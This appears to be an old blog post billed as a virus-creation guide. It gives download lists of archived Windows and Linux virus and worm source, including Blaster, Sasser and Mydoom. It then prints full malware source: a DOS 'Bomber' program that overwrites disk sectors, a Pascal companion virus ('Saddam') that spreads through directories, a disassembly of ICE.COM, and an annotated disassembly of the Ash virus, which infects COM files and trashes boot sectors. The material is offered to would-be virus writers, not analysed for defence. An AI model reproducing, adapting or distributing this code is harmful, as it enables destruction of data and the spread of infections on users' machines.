Windows , Linux Computer Virus Codes Collection & Creation Tools

Virus Assembly Guide | How to create or develop Virus code?

2008-12-12T00:00:00.002+05:30

--------------------------------------------------------------------

Until & Unless , you don't know about the Spices , You can never be a Cook

Until & Unless , you don't know about Assembly , You can't be a Good Hacker or Virus Programmer.

ASHISH JAIN

--------------------------------------------------------------------

Now Here Starts your Guide to Assembly Programming . . .

Download these PDF files as the part of your Tutorial . .

1. PC Assembly Language

2. Programming from the Ground Up

3. Virus Tutor

4. Norman Book on Computer Viruses

5. Black book on Computer Viruses

6. Bluetooth worm

Download these Zip files as the part of your Practice . . .

1 . Linux Assembly Examples

2. Microsoft Assembly Examples

Windows Viruses / Worms

2008-12-11T06:00:00.000+05:30

Windows Viruses / Worms

Filename	Size	Name	Date	Lang
carume.zip	6123	Carume	2006-03-28	asm

blackhand.zip	27277	Blackhand	2005-02-17	asm
blacky.zip	30216	Blacky 1.0b	2005-05-18	asm
cleevix.zip	5088	Cleevix	2005-00-00	asm
egypt.zip	16209	Egypt 1.5	2005-07-29	asm
lamea.zip	564	Lame.a	2005-08-26	KiXtart
lameb.zip	848	Lame.b	2005-09-01	KiXtart
monad.zip	1733	Monad-Candela family	2005-08-00	msh
nanomites.zip	41845	Nanomites 2.0b	2005-07-18	asm
prc-ko.zip	5706	PRC-KO.XP	2005-03-28	asm
shrug.zip	23829	Shrug	2005-10-23	asm
tirannis.zip	6466	sic semper tirannis	2005-10-23	c
valium.zip	8417	Valium	2005-00-00	vb

analbeeds.zip	8746	AnalBeeds	2004-09-00	asm
elysium.zip	13356	Elysium	2004-08-00	vb
norther.zip	12259	Norther	2004-00-00	asm

assiral.zip	6208	Assiral	2005-04-00	c
bagle.zip	58725	Bagle	Unknown	asm
batzback.zip	54652	BackZat.C	Unknown	c
blaster.zip	14630	Blaster	Unknown	c
elsa.zip	4947	Elsa	2000-08-29	asm
mydoom.zip	43868	Mydoom	Unknown	c
obsidian.zip	7864	Obsidian	2003-04-11	asm
piece.zip	7442	PieceByPiece	2002-00-00	c
pilif.zip	426018	Pilif	2004-08-00	asm
sasser.zip	12532	Sasser	Unknown	c
zelda.zip	6608	Zelda 1.1	2000-07-28	asm

Linux Virus Collection

2008-12-10T00:00:00.000+05:30

Linux Virus

Filename	Size	Name	Date	Lang
clt.zip	528657	CAPZLOQ TEKNIQ v1.0	2006-04-05	asm

eternity.zip	10240	Eternity	2005-04-01	asm
gripa.zip	17523	Grip.a	2005-07-10	asm
gripb.zip	22070	Grip.b	2005-07-14	asm

amon.zip	4058	Amon	2004-00-00	asm
balrog.zip	6070	Balrog	2004-00-00	asm
binom.zip	6901	Binom	2004-10-02	asm
caline.zip	14975	Caline	2004-07-17	c
cyneox.zip	6286	Cyneox	2004-00-00	asm
dataseg.zip	11610	DataSeg	2004-04-12	c
fv.zip	1705	FV	2004-09-00	fortran
gildo.zip	5930	Gildo	2004-00-00	asm
herderv.zip	12449	Herdevr	2004-05-09	asm
iamsick.zip	1859	I-AM-SICK	2004-09-00	c

004 - Virus Code(Bomber.c)

2007-04-03T13:25:00.000+05:30

#include 

main()
{
 char *vir;
 abswrite(0,50,0,vir);
 abswrite(1,50,0,vir);
 abswrite(2,50,0,vir);
 abswrite(3,50,0,vir);
 abswrite(4,50,0,vir);
 printf("FUCK YOU ALL");
 printf("The Bomber");
}

003 - Virus Code(Saddam.pas)

2007-04-03T13:23:00.000+05:30

Program Saddam;

{$M 10000,0,0}

Uses
 DOS;

Var
  DriveID          : String [2];
  Buffer           : Array [1..8000] Of Byte;
  Target,Source    : File;
  Infected         : Byte;
  Done             : Word;
  TargetFile       : String;

(*?????????????????????????????????????????????????????????????????????????*)

Function ExistCom : Boolean;
Var
  FindCom : SearchRec;
Begin
FindFirst ( TargetFile, 39, FindCom );
ExistCom := DosError = 0;
End;

(*?????????????????????????????????????????????????????????????????????????*)

 Procedure SearchDir ( Dir2Search : String );
  Var
   S : SearchRec;

 Begin

   If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
     Dir2Search := Dir2Search + '\';



   FindFirst ( Dir2Search + '*.exe', 39, S );

    While DosError = 0 Do
     Begin

     TargetFile := Copy ( Dir2Search + S.Name,1,
                        Length ( Dir2Search + S.Name ) -3 ) + 'com';

     If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
      Not ExistCom And ( Infected <> 25000 ) Then
       Begin
        {$i-}
        Inc ( Infected );
        Assign ( Target, TargetFile  );
        Rewrite ( Target,1 );
        BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
        SetFTime ( Target, S.Time );
        Close ( Target );
        If IoResult = 101 Then
          Begin
          Infected := 3;
          Erase ( Target );
          End;

        {$i+}
        End;

     FindNext ( S );
     End;

   FindFirst ( Dir2Search + '*', Directory, S );

   If S.Name = '.' Then
    Begin
    FindNext ( S );
    FindNext ( S );
    End;

   If ( DosError = 0 ) And
     ( S.Attr And 16 <> 16 ) Then
      FindNext ( S );

   While DosError = 0 Do
    Begin
    If ( S.Attr And 16 = 16 ) And ( Infected < 3 )  Then
     SearchDir ( Dir2Search + S.Name );
    FindNext ( S );
    End;
  End;


(*?????????????????????????????????????????????????????????????????????????*)

Begin

DriveID := FExpand ( ParamStr ( 1 ));
Infected := 0;


Assign ( Source, ParamStr ( 0 ) );
Reset ( Source, 1 );
BlockRead ( Source, Buffer, 5000, Done );
Close ( Source );

Randomize;

SearchDir ( DriveID );

Exec ( Copy ( ParamStr ( 0 ),1,
  Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );


End.

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;

002 - Virus Code(ICE.COM)

2007-04-03T13:17:00.000+05:30

; File Name  : ICE.COM
; Current Date/Time : Fri Dec 18 17:15:27 1992


S00100 SEGMENT
 ASSUME CS:S00100, DS:S00100, ES:S00100, SS:NOTHING

 org 0100h

H00100: jmp Near Ptr H001AC  ;00100 E9A900
;---------------------------------------
;MEM: Unreferenced Code
 db "Iceburg Eyes Gift from the Land"
     ;00103 49636562
 dw 0D0Ah   ;00122 0A0D
 db "   of the Midnight SunD"
     ;00124 2020206F
 db 94h   ;0013B
 db "lan & An"  ;0013C 6C616E20
 db 9Fh   ;00144
 db "el "   ;00145 656C20
 dw 0D0Ah   ;00148 0A0D
 db "  S"   ;0014A 202053
 db 93h   ;0014D
 db "dain und "  ;0014E 6461696E
 db 99h   ;00157
 db "ber Diser... very happy "
     ;00158 62657220
 dw 0D0Ah   ;00170 0A0D
 db "$"   ;00172 24
 dw 03BAh   ;00173 BA03
 db 01h   ;00175
 dw 09B4h   ;00176 B409
 db 0CDh   ;00178
 db "!"   ;00179 21
 dw 00B8h   ;0017A B800
 db "L"   ;0017C 4C
 db 0CDh   ;0017D
 db "!"   ;0017E 21
 db 06h dup(90h)  ;0017F
 dw 00E8h   ;00185 E800
 dw 5D00h   ;00187 005D   ]
 dw 8190h   ;00189 9081
 db 0EDh   ;0018B
 dw 0106h   ;0018C 0601
 dw 0E890h   ;0018E 90E8
 dw 0210h   ;00190 1002
 db 83h   ;00192
 dw 0E9B8h   ;00193 B8E9
 dw 0B10Ch   ;00195 0CB1
 dw 0F0Eh   ;00197 0E0F
 db "Y"   ;00199 59
 db 0ABh   ;0019A
 dw 83AAh   ;0019B AA83
 dw 9A98h   ;0019D 989A
 db 0Dh   ;0019F
 dw 4DE6h   ;001A0 E64D   M
 db 0Fh   ;001A2
 dw 22BAh   ;001A3 BA22   "
 db 0C3h   ;001A5
 db "/"   ;001A6 2F
 dw 0F08Eh   ;001A7 8EF0
 dw 7A0Eh   ;001A9 0E7A   z
 db 0F9h   ;001AB
;---------------------------------------
H001AC: and [bp+36B8h],al  ;001AC 2086B836    6
 or ax,49BAh  ;001B0 0DBA49    I

;SEG: SP Change - 830Eh
 mov sp,830Eh  ;001B3 BC0E83
 mov ax,0D5Ah  ;001B6 B85A0D   Z
 ret    ;001B9 C3
;---------------------------------------
;MEM: Unreferenced Code
 db "/"   ;001BA 2F
 dw 0E0E6h   ;001BB E6E0
 dw 0E60Eh   ;001BD 0EE6
 db 01h   ;001BF
 db 0Fh   ;001C0
 dw 40BAh   ;001C1 BA40   @
 db 83h   ;001C3
 dw 0DA98h   ;001C4 98DA
 dw 0B70Ch   ;001C6 0CB7
 db 09h   ;001C8
 dw 0C30Eh   ;001C9 0EC3
 db "/|"   ;001CB 2F7C
 db 05h   ;001CD
 db 83h   ;001CE
 dw 0BC98h   ;001CF 98BC
 db 0Dh   ;001D1
 dw 37E6h   ;001D2 E637   7
 dw 0BA0Eh   ;001D4 0EBA
 db "A"   ;001D6 41
 db 0E5h   ;001D7
 db 0FFh   ;001D8
 db 83h   ;001D9
 dw 0E498h   ;001DA 98E4
 dw 0BA0Ch   ;001DC 0CBA
 db "5"   ;001DE 35
 db 0C3h   ;001DF
 db "/}"   ;001E0 2F7D
 dw 83D0h   ;001E2 D083
 dw 5A98h   ;001E4 985A   Z
 db 0Dh   ;001E6
 dw 35BAh   ;001E7 BA35   5
 db 0C3h   ;001E9
 db "/"   ;001EA 2F
 dw 8EB4h   ;001EB B48E
 dw 0E60Eh   ;001ED 0EE6
 db 0FBh   ;001EF
 dw 200Eh   ;001F0 0E20
 dw 0B884h   ;001F2 84B8
 db "6"   ;001F4 36
 db 0Dh   ;001F5
 dw 0F08Eh   ;001F6 8EF0
 dw 790Ch   ;001F8 0C79   y
 dw 0BA1Ch   ;001FA 1CBA
 db 07h   ;001FC
 db 83h   ;001FD
 dw 6798h   ;001FE 9867   g
 dw 0C30Ch   ;00200 0CC3
 db "/"   ;00202 2F
 db 0B7h   ;00203
 dw 1D86h   ;00204 861D
 dw 0F0ECh   ;00206 ECF0
 dw 0EE4h   ;00208 E40E
 dw 0F10Eh   ;0020A 0EF1
 db 0F1h   ;0020C
 db 0CDh   ;0020D
 db "\"   ;0020E 5C
 dw 0EB6h   ;0020F B60E
 db "M"   ;00211 4D
 db 0C3h   ;00212
 db "/|: "   ;00213 2F7C3A20
 db 87h   ;00217
 dw 0E380h   ;00218 80E3
 dw 0B60Ch   ;0021A 0CB6
 db 0Fh   ;0021C
 db "M="   ;0021D 4D3D
 db 0C7h   ;0021F
 db 0C3h   ;00220
 db "/|s"   ;00221 2F7C73
 dw 0CB6h   ;00224 B60C
 db "3"   ;00226 33
 db 0C3h   ;00227
 db "/"   ;00228 2F
 db 9Dh   ;00229
 db "|{"   ;0022A 7C7B
 dw 0EB6h   ;0022C B60E
 db "Y"   ;0022E 59
 db 0C3h   ;0022F
 db "/ "   ;00230 2F20
 db 87h   ;00232
 dw 0E198h   ;00233 98E1
 dw 200Ch   ;00235 0C20
 db 87h   ;00237
 dw 0FF80h   ;00238 80FF
 dw 0B70Ch   ;0023A 0CB7
 db 0Dh   ;0023C
 dw 0BA0Eh   ;0023D 0EBA
 db "1"   ;0023F 31
 db 83h   ;00240
 dw 0E998h   ;00241 98E9
 dw 0C30Ch   ;00243 0CC3
 db "/|4"   ;00245 2F7C34
 db 0E5h   ;00248
 dw 0E50Ch   ;00249 0CE5
 db "[] "   ;0024B 5B5D20
 db 85h   ;0024E
 dw 0A090h   ;0024F 90A0
 db 0Dh   ;00251
 db 85h   ;00252
 db 0CDh   ;00253
 db "U "   ;00254 5520
 db 85h   ;00256
 dw 0E680h   ;00257 80E6
 dw 8F0Ch   ;00259 0C8F
 db 0CFh   ;0025B
 db "4"   ;0025C 34
 dw 350Ch   ;0025D 0C35   5
 db 0CFh   ;0025F
 db "z.#"   ;00260 7A2E23
 db 0Dh   ;00263
 dw 200Eh   ;00264 0E20
 db 87h   ;00266
 dw 3488h   ;00267 8834   4
 db 0Dh   ;00269
 db "="   ;0026A 3D
 dw 0E6CEh   ;0026B CEE6
 db ":"   ;0026D 3A
 dw 0BA0Eh   ;0026E 0EBA
 db "N"   ;00270 4E
 db 0B7h   ;00271
 db 0Dh   ;00272
 dw 830Eh   ;00273 0E83
 dw 3798h   ;00275 9837   7
 db 0Dh   ;00277
 db 0C3h   ;00278
 db "/"   ;00279 2F
 dw 0CBEh   ;0027A BE0C
 dw 2AE6h   ;0027C E62A   *
 dw 0E60Eh   ;0027E 0EE6
 db 0FDh   ;00280
 dw 0B60Eh   ;00281 0EB6
 db 0Fh   ;00283
 db "Y "   ;00284 5920
 db 85h   ;00286
 dw 0FF80h   ;00287 80FF
 dw 200Ch   ;00289 0C20
 db 85h   ;0028B
 dw 0E198h   ;0028C 98E1
 dw 0C30Ch   ;0028E 0CC3
 db "/"   ;00290 2F
 dw 30BAh   ;00291 BA30   0
 db 0C3h   ;00293
 db "/T"   ;00294 2F54
 dw 0FB6h   ;00296 B60F
 db "M "   ;00298 4D20
 db 85h   ;0029A
 dw 0E380h   ;0029B 80E3
 dw 0C30Ch   ;0029D 0CC3
 db "/"   ;0029F 2F
 db 0CDh   ;002A0
 db "T"   ;002A1 54
 db 0CDh   ;002A2
 db 0BAh   ;002A3
 db "L="   ;002A4 4C3D
 db 0C7h   ;002A6
 db "="   ;002A7 3D
 dw 0C3DCh   ;002A8 DCC3
 db "/"   ;002AA 2F
 db 0CDh   ;002AB
 dw 24BAh   ;002AC BA24   $
 db 0C3h   ;002AE
 db "/2"   ;002AF 2F32
 db 0Bh   ;002B1
 db "z"   ;002B2 7A
 db 0Fh   ;002B3
 db 0CDh   ;002B4
 dw 0FBAh   ;002B5 BA0F
 db 0B7h   ;002B7
 db ".."   ;002B8 2E2E
 db 0C3h   ;002BA
 dw 0BA1Eh   ;002BB 1EBA
 dw 3D0Ch   ;002BD 0C3D   =
 dw 0C3DCh   ;002BF DCC3
 dw 3D1Eh   ;002C1 1E3D   =
 dw 0C3CEh   ;002C3 CEC3
 dw 0BA1Eh   ;002C5 1EBA
 db 07h   ;002C7
 db 83h   ;002C8
 dw 7498h   ;002C9 9874   t
 dw 0C30Ch   ;002CB 0CC3
 db "/"   ;002CD 2F
 db 0E5h   ;002CE
 dw 0BAF0h   ;002CF F0BA
 db "@"   ;002D1 40
 db 83h   ;002D2
 dw 0D498h   ;002D3 98D4
 dw 0B70Ch   ;002D5 0CB7
 db 09h   ;002D7
 dw 0C30Eh   ;002D8 0EC3
 db "/}"   ;002DA 2F7D
 db 0Fh   ;002DC
 db 0CDh   ;002DD
 db 83h   ;002DE
 dw 0D498h   ;002DF 98D4
 dw 0E60Ch   ;002E1 0CE6
 db "'"   ;002E3 27
 db 0F1h   ;002E4
 db 0CDh   ;002E5
 dw 14BAh   ;002E6 BA14
 db 0C3h   ;002E8
 db "/"   ;002E9 2F
 db 0CDh   ;002EA
 db "Ygbj.Zfg`i.SU." ;002EB 5967626A
 db 03h   ;002F9
 db 04h   ;002FA
 db "*Gz)}.H|gjow   .K`daw.zfk.ykkek`j.ygzf"
     ;002FB 2A477A29
 db 03h   ;00321
 db 04h   ;00322
 db "wa{|.mac~{zk|/.UWOC.)7     ;00323 77617B7C
 db 03h   ;0033B
 db 04h   ;0033C
 db "*Lw4.Ojcg|ob.Logbkw.UWOCS$"
     ;0033D 2A4C7734
 db " mac"   ;00357 206D6163
 db 0Eh   ;0035B
 db "Rmacco`j mac"  ;0035C 526D6163
 dw 0E70Eh   ;00368 0EE7
 db 99h   ;0036A
 db 0Eh   ;0036B
 db "  "   ;0036C 2020
 dw 2E0Eh   ;0036E 0E2E   .
 dw 4A0Eh   ;00370 0E4A   J
 db 17h   ;00372
 dw 4EC0h   ;00373 C04E   N
 db 83h   ;00375
 dw 06B8h   ;00376 B806
 db 0Dh   ;00378
 db 83h   ;00379
 dw 32B0h   ;0037A B032   2
 db 0Dh   ;0037C
 db 0B7h   ;0037D
 dw 0E16h   ;0037E 160E
 dw 0ECAAh   ;00380 AAEC
 db 0F3h   ;00382
 db 83h   ;00383
 dw 3298h   ;00384 9832   2
 db 0Dh   ;00386
 db 0F1h   ;00387
 dw 0CDDCh   ;00388 DCCD
 db 83h   ;0038A
 dw 2E98h   ;0038B 982E   .
 db 0Dh   ;0038D
 db 0F1h   ;0038E
 dw 0BADCh   ;0038F DCBA
 db "N"   ;00391 4E
 db 0B7h   ;00392
 db "9"   ;00393 39
 dw 830Ch   ;00394 0C83
 dw 0D98h   ;00396 980D
 db 0Fh   ;00398
 db 0C3h   ;00399
 db "/"   ;0039A 2F
 db 83h   ;0039B
 dw 2E98h   ;0039C 982E   .
 db 0Dh   ;0039E
 db 0F1h   ;0039F
 dw 0CDDCh   ;003A0 DCCD
 db "S"   ;003A2 53
 db 8Dh   ;003A3
 dw 109Eh   ;003A4 9E10
 db 01h   ;003A6
 db 0B9h   ;003A7
 dw 0210h   ;003A8 1002
 db "."   ;003AA 2E
 dw 0B68Ah   ;003AB 8AB6
 db "8"   ;003AD 38
 db 03h   ;003AE
 db 8Ah   ;003AF
 db "'2"   ;003B0 2732
 dw 88E6h   ;003B2 E688
 db "'C"   ;003B4 2743
 dw 0F7E2h   ;003B6 E2F7
 db "["   ;003B8 5B
 db 0C3h   ;003B9
 dw 0E90Eh   ;003BA 0EE9
 db 00h   ;003BC

S00100 ENDS
 END H00100

001 - Virus Code ( ash.asm )

2007-03-27T21:20:00.000+05:30

;**************************************************************************

;*                              The Ash Virus                             *
;**************************************************************************
;*  CAUTION! This virus performs absolute disk writes when it activated!  *
;*It checks for something in memory, probably some resident AV utility.   *
;*                  (In other words, it can trash your disk!)             *
;*                         Disassembly by Black Wolf                      *
;**************************************************************************
.model tiny                
.radix 16
.code   
 org     100
start:
  jmp     start_virus
id_byte:        db       1Ah

;**************************************************************************
;*                       Infected Program Goes Here.                      *
;**************************************************************************

storage_bytes:                          ;First four bytes of host program.
  nop             
  nop
  int     20


;**************************************************************************
;*                       Virus Entry Point (start_virus)                  *
;**************************************************************************
start_virus:
  call    get_offset
get_offset:
  pop     bp
  sub     bp,offset get_offset    ;get offset of virus
  mov     [bp+store_ax],ax
  
  xor     di,di                   
  mov     word ptr [di+4Ah],0     ;in reserved area of PSP
  mov     es,di                   ;ES=0 (Interrupt Table)
  mov     si,96                   ;SI=96 (Int 25)
  mov     bx,es:[si]              ;Get Int 25 address
  mov     cx,es:[si+2]
  lea     dx,[bp+int_25]          ;Int 25 handler
  mov     es:[si],dx              
  mov     dx,cs                   ;Set Int 25 address
  mov     es:[si+2],dx

;   The code below seems to check for either another virus or perhaps an
;anti-viral program in memory that sets the address of int 7F to FFFFh to 
;mark its presence.  This may be to avoid detection by certain memory
;resident anti-viral utilities that analyse behavior, or to prevent conflicts
;with another virus.  A TSR vaccine might also be a possibility.

  mov     si,es:[di+1fe]          ;Int 7f (marker)
  cmp     si,0FFFFh               ;Has it been set?
  jne     Restore_Host_And_Infect ;No, jump Restore_Host_And...
  jmp     short Restore_Control   ;Already set, jump to
  nop                             ;Restore_Control

Restore_Host_And_Infect:
  mov     cs:[di+4Ch],bx          ;Save old Int 25 address
  mov     cs:[di+4Eh],cx          ;inside PSP ("reserved" area)
  push    cs
  pop     es
  mov     byte ptr [bp+infect_count],0   ;reset infect counter
  lea     si,[bp+storage_bytes]          ;si=storage bytes
  mov     di,100                         ;di=start of com
  mov     cx,4
  cld                             
  rep     movsb                   ;restore storage 
  mov     ah,1Ah                  ;bytes to host
  lea     dx,[bp+new_DTA]         ;DS:DX = new_DTA
  int     21h                     ;Change DTA to new_DTA
      
  mov     ah,4Eh                  
  lea     dx,[bp+file_mask]       ;setup find first for *.com
  lea     si,[bp+new_DTA+1e]      ;set SI=Filename in DTA
  push    dx                      ;save mask address
  jmp     short Find_First_Next


Restore_Control:                                ;This restores defaults and
      ;gives control to host COM.
  mov     ah,1Ah
  mov     dx,80               
  int     21h                     ;reset DTA to default in PSP
           
  xor     di,di                 
  mov     es,di                   ;ES:DI=Interrupt table
  mov     si,96                   ;ES:SI=Int 25
  mov     bx,cs:[di+4Ch]          
  mov     es:[si],bx              ;Get old Int 25 address
  mov     cx,cs:[di+4Eh]          ;and restore Int 25
  mov     es:[si+2],cx            
  push    cs
  pop     es
  mov     ax,[bp+store_ax]        ;restore ax to original
  mov     bx,di                   ;zero registers
  mov     cx,bx
  mov     dx,cx
  mov     si,dx
  mov     sp,0FFFE                ;restore SP to default
  mov     bp,100                  ;BP=start of COM file
  push    bp                      ;Push 100 for ret
  mov     bp,ax                   ;reset BP
  ret                             ;Go to CS:100 to restore
      ;control to host program

Close_File:
  or      bx,bx                   
  jz      Find_Next                   
  mov     ah,3Eh                  ;Close file if handle is
  int     21h                     ;not 0 (Console)
      
  xor     bx,bx                   
Find_Next:
  mov     ah,4Fh                  ;find next
Find_First_Next:
  pop     dx
  push    dx
  xor     cx,cx                   
  xor     bx,bx                   
  int     21h                     ;find first/next match
      ;with normal attributes
  jnc     Infect_File                   
  jmp     short No_More_Files
  nop
Infect_File:
  mov     ax,3D02h
  mov     dx,si
  int     21h                     ;open file for read/write
      
  jc      Close_File              ;Jump on error
  mov     bx,ax
  mov     ah,3Fh                  
  mov     cx,4
  lea     dx,[bp+storage_bytes] 
  int     21h                    ;read four bytes into storage
      
  cmp     byte ptr [bp+storage_bytes+3],1Ah ;Check for ID byte.
  je      Close_File                        ;Already infected... 
  cmp     byte ptr [bp+storage_bytes],4Dh   ;Is it an EXE?
  je      Close_File                        ;Yes? Don't Infect.
  
  mov     ax,4202h
  xor     cx,cx                  ;Got to the end of file
  xor     dx,dx
  int     21h

  cmp     ax,0FD00h              ;Is file over 64768 bytes?
  ja      Close_File             ;Too big, jump Close_File
  mov     [bp+file_size],ax
  mov     ah,40h                
  mov     cx,4
  lea     dx,[bp+storage_bytes] 
  int     21h                     ;Write Storage Bytes
      
  mov     ah,40h                  
  mov     cx,end_virus-start_virus ;CX=virus size
  lea     dx,[bp+start_virus]      ;Write from start of virus
  int     21h                      ;Append Virus to Host
      
  mov     ax,4200h
  xor     cx,cx                   
  xor     dx,dx                   
  int     21h                   ;Move back to beginning of file
      
  mov     ax,[bp+file_size]     ;Setup Jump
  inc     ax
  mov     word ptr [bp+storage_bytes+1],ax     ;Jump size
  mov     byte ptr [bp+storage_bytes],0E9h     ;Jump Command
  mov     byte ptr [bp+storage_bytes+3],1Ah    ;ID byte

  mov     ah,40h                 
  mov     cx,4
  lea     dx,[bp+storage_bytes]   
  int     21h                         ;Write jump to file
      
  inc     byte ptr [bp+infect_count]  ;increment infect_count
  jmp     Close_File                   
No_More_Files:
  cmp     byte ptr [bp+infect_count],2 ;Check infect_count
  jae     activation                   ;If >=2 go activation
  mov     di,100
  cmp     word ptr [di],20CDh   ;are first bytes an "Int 20"?
  je      activation            ;Yes? Activate, it's probably
           ;bait. (i.e. a researcher.)
  lea     dx,[bp+Parent_Dir] 
  mov     ah,3Bh             
  int     21h                   ;Move back one directory
        
  jc      activation            ;In root directory? Activate.

  mov     ah,4Eh                ;find next file
  jmp     Find_First_Next                   
activation:
  xor     di,di              
  mov     es,di
  mov     ah,2Ah             
  int     21h                   ;Get Date/Time

;If the virus is run on the Fourth of July, it will trash sector 0 of the
;default drive, killing the boot sector.
  
  cmp     dl,4                  ;Is it the Fourth?
  jne     Not_Yet               ;No? Jump to Not_Yet
  cmp     dh,7                  ;Is it July?
  jne     Not_Yet               ;No? Jump to Not_Yet
  xor     ax,ax                  
  jmp     short trash_disk      ;Trash boot sector 
  nop                           ;on July Fourth.     
           
  
Not_Yet:
  mov     ah,2Ch       
  int     21h                   ;Get time
      
  or      cl,cl                 ;Do minutes = 0? 
  jnz     Dont_Kill_HD          ;No? Jump Dont_Kill_HD
  cmp     ch,6                  ;Is it passed 6:00 am?
  jge     Dont_Kill_HD          ;Yes? Jump Dont_Kill_HD

Stupid_Damage_Algorithm:                
  add     cl,ch                 ;Add minutes and hours
  mov     ax,cx                   
  cbw                           ;Change the byte to a word
  add     al,dh                 ;Add the month
  adc     al,dl                 ;Add the day, carrying result
           ;from the last addition
  adc     ah,0                  ;Add any carried numbers
  or      ax,ax                 ;And if it all comes out zero
  jnz     trash_disk            ;set AX=1, Otherwise keep AX.
  inc     ax                    ;Trash disks either way.

trash_disk:
  mov     dx,ax                 ;Sector #.  This will be more
           ;or less random except on July
           ;Fourth, when it kills sector 0,
           ;which contains the boot sector.
  mov     cx,1                  ;Number of sectors to trash 
  xor     bx,bx                 ;Address to write from
  mov     ah,19h                
  int     21h                   ;Get default drive
  int     26h                   ;And trash sector.
Dont_Kill_HD:
  mov     bx,offset Random_Table
  mov     ah,2Ch                  
  int     21h                     ;Get Time
      
  inc     dh                      ;Increment Seconds
      ;(prevent 0)
Lower_Sec_Loop:
  cmp     dh,byte ptr [Rnd_String_Key]
  jl      Random_Alg
  sub     dh,byte ptr [Rnd_String_Key]               
  jmp     short Lower_Sec_Loop

           ;DH = 01h to 0Ah

Random_Alg:                            ;Get a random number to choose string.

  mov     al,dh          ;Move random number to AL
  mov     cl,al          ;And to CL (minutes)
  cbw                    ;Make AL into word AX
           ;(In this case, zeros AH)

           ;AX is now between 1 and 45h (69)

  shl     ax,1           ;Multiply by 2
  add     bx,ax          ;Add AX to BX    (Selection address)
  mov     si,[bx]        ;Get byte from address at [BX] into SI
           ;  This will contain the address of a
           ;            string to print.

  mov     ch,[si-1]      ;Get byte from SI-1 into CH 
  mov     dx,si          ;Print chosen string at DX until a '$' 
  mov     ah,9
  int     21h

  cmp     ch,0            ;was the byte from [SI-1] a 0?
  jne     Halt            ;If not, jump Halt

Terminate_Program:
  int     20h             ;Kill program

Halt:
  cmp     ch,1              ;Was it a 1?
  jne     Choose_What_Ta_Do ;If not, jump to Choose_What_Ta_Do
  hlt                       ;otherwise, halt processor
Choose_What_Ta_Do:
  cmp     ch,2              ;Was it a 2?
  je      Abort_Retry_Etc   ;If so, jump to Abort_Retry_Etc
Go_To_Host:                               ;Otherwise, run host
  jmp     Restore_Control                  
Abort_Retry_Etc:
  lea     dx,[bp+Error_Message_1] ;Display "Abort, Retrt" etc..
  mov     ah,9
  int     21h
      
  mov     ah,1
  int     21h                     ;Get Key with Echo
          
  lea     dx,[bp+Carriage_Ret]    ;print a return
  mov     ah,9
  int     21h                     
      
  mov     dh,cl
  cmp     al,5Ah                  
  ja      Harass_Em               ;set letter to lowercase
  add     al,20h                  
Harass_Em:         
  cmp     al,61h                  ;If (A)bort then jump to
  je      Terminate_Program       ;Terminate_Program
  cmp     al,72h                  ;If (R)etry then go on, 
  jne     Harass_Em_More          ;otherwise jump to Harass_Em_More
  lea     dx,[bp+Carriage_Ret]    
  mov     ah,9
  int     21h                     ;Print a carriage return
      
  jmp     short Random_Alg           
Harass_Em_More:
  cmp     al,69h                  ;If user presses (I)gnore
  je      Go_To_Host              ;jump to Go_To_Host, (F)ail
  cmp     al,66h                  ;continue, anything else
  jne     Abort_Retry_Etc         ;then jump to Abort_Retry_Etc
  
  lea     dx,[bp+Error_message_2] 
  mov     ah,9
  int     21h                     ;Display "Fail on INT 24"
      
  int     20h                     ;Terminate Program

Rnd_String_Key  db      0Ah
Random_Table    db      65h, 03h, 8Ah, 03h,0AEh, 03h  ;Used to select string
  db      0D4h, 03h,0D4h, 03h,0D4h, 03h
  db      0D4h, 03h,0D4h, 03h,0D4h, 03h
  db      0D4h, 03h

Error_Message_1 db      0dh,0a,'Abort, Retry, Ignore, Fail?$'
Carriage_Ret    db      0dh,0a,24
Error_Message_2 db      0dh,0a,0dh,0a,'Fail on INT 24',0dh,0a,24
  
  db       02h
Dumb_Mes_1      db      'Impotence error reading user''s dick$'
  db      0
Dumb_Mes_2      db      'Program too big to fit in memory',0dh,0a,24
  db       01h
Dumb_Mes_3      db      'Cannot load COMMAND, system halted',0dh,0a,24
  db      3
Dumb_Mes_4      db      'Joker!',0dh,0a,0dh,0a,24

int_25:                                 ;Int 25 Handler
  xor     al,al
  iret

file_mask       db      '*.COM',0                
Parent_Dir      db      '..',0

end_virus:        
new_DTA         db      2bh dup (?)
store_ax        dw      ?      
infect_count    db      ?
file_size       dw      ?

end     start